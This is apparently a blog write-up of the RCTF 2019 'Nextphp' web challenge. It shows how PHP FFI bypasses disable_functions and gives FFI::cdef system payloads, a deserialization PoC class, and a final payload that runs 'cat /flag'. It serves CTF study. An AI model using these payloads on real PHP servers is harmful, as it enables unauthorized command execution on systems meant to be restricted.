[RCTF 2019]Nextphp

知识点;利用 FFI 绕过 disable_function

FFI 介绍与利用

首先 FFI 肯定要开,且 PHP 版本肯定要早 7.4 以上
在这里插入图片描述
简介:
FFI ,可以让我们直接在PHP脚本中调用C语言写的库中的函数。

FFI 的安全性问题

FFI虽然给了我们很大的灵活性,但是毕竟直接调用C库函数,还是非常具有风险性的,我们应该只容许用户调用我们确认过的函数,于是,ffi.enable=preload 就该上场了,当我们设置 ffi.enable=preload 的话,那就只有在opcache.preload 的脚本中的函数才能调用 FFI,而用户写的函数是没有办法直接调用的。

也就是说如果设置了 ffi.enable=preload 的话,那么就不能在非 preload 文件中直接利用 FFI 漏洞了。
在这里插入图片描述
payload 格式:

FFI::cdef("int system(char *command);","libc.so.6")->system("whoami");
FFI::cdef("int system(char *command);")->system("whoami");

getflag

poc:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }
    
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
    }
}

$a = new A();
echo serialize($a);

payload:

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');

然后访问 1.txt 就可以了。

在这里插入图片描述

payload 解释

先解释一下 poc 为什么要删除 __serialize() 函数,首先如果不删 __serialize() 函数的话,在序列化的时候会直接直接执行 __serialize() 函数,然后就不执行 serialize() 函数了。

不删 __serialize()  函数
O:1:"A":3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}__serialize()  函数
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

我们看一下两种情况下的 ->__serialize() ,也就是 $this->data;,可以明显看出不删的时候,data 值根本没有改变。

如果有大师傅理解原理的话,望告之!!跪谢!!

不删 __serialize() 函数

在这里插入图片描述
删 __serialize() 函数
在这里插入图片描述

这边贴一下解释文档

In principle, this makes existing strings serialized in O format fully interoperable with the new serialization mechanism, the data is just provided in a different way (for __wakeup() in properties, for __unserialize() as an explicit array). If a class has both __sleep() and __serialize(), then the latter will be preferred. If a class has both __wakeup() and __unserialize() then the latter will be preferred.

If a class both implements Serializable and __serialize()/__unserialize(), then serialization will prefer the new mechanism, while unserialization can make use of either, depending on whether the C (Serializable) or O (__unserialize) format is used. As such, old serialized strings encoded in C format can still be decoded, while new strings will be produced in O format.

在这里插入图片描述
为什么 payload 是这样的?

反序列化后调用 __serialize 函数,返回的是处理好的 data 数组,此时的 __serialize()['ret']==data[ret] == FFI::cdef("int system(char *command);")

unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');->__serialize()['ret']->system('cat /flag | tee 1.txt');

关于为什么 payload 里有system ,却还能绕过,这边就贴一下 Sk1y 大师傅的解释。
在这里插入图片描述

reference

FFI 详解:
https://www.laruence.com/2020/03/11/5475.html

wp:
https://blog.csdn.net/RABCDXB/article/details/120319633
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值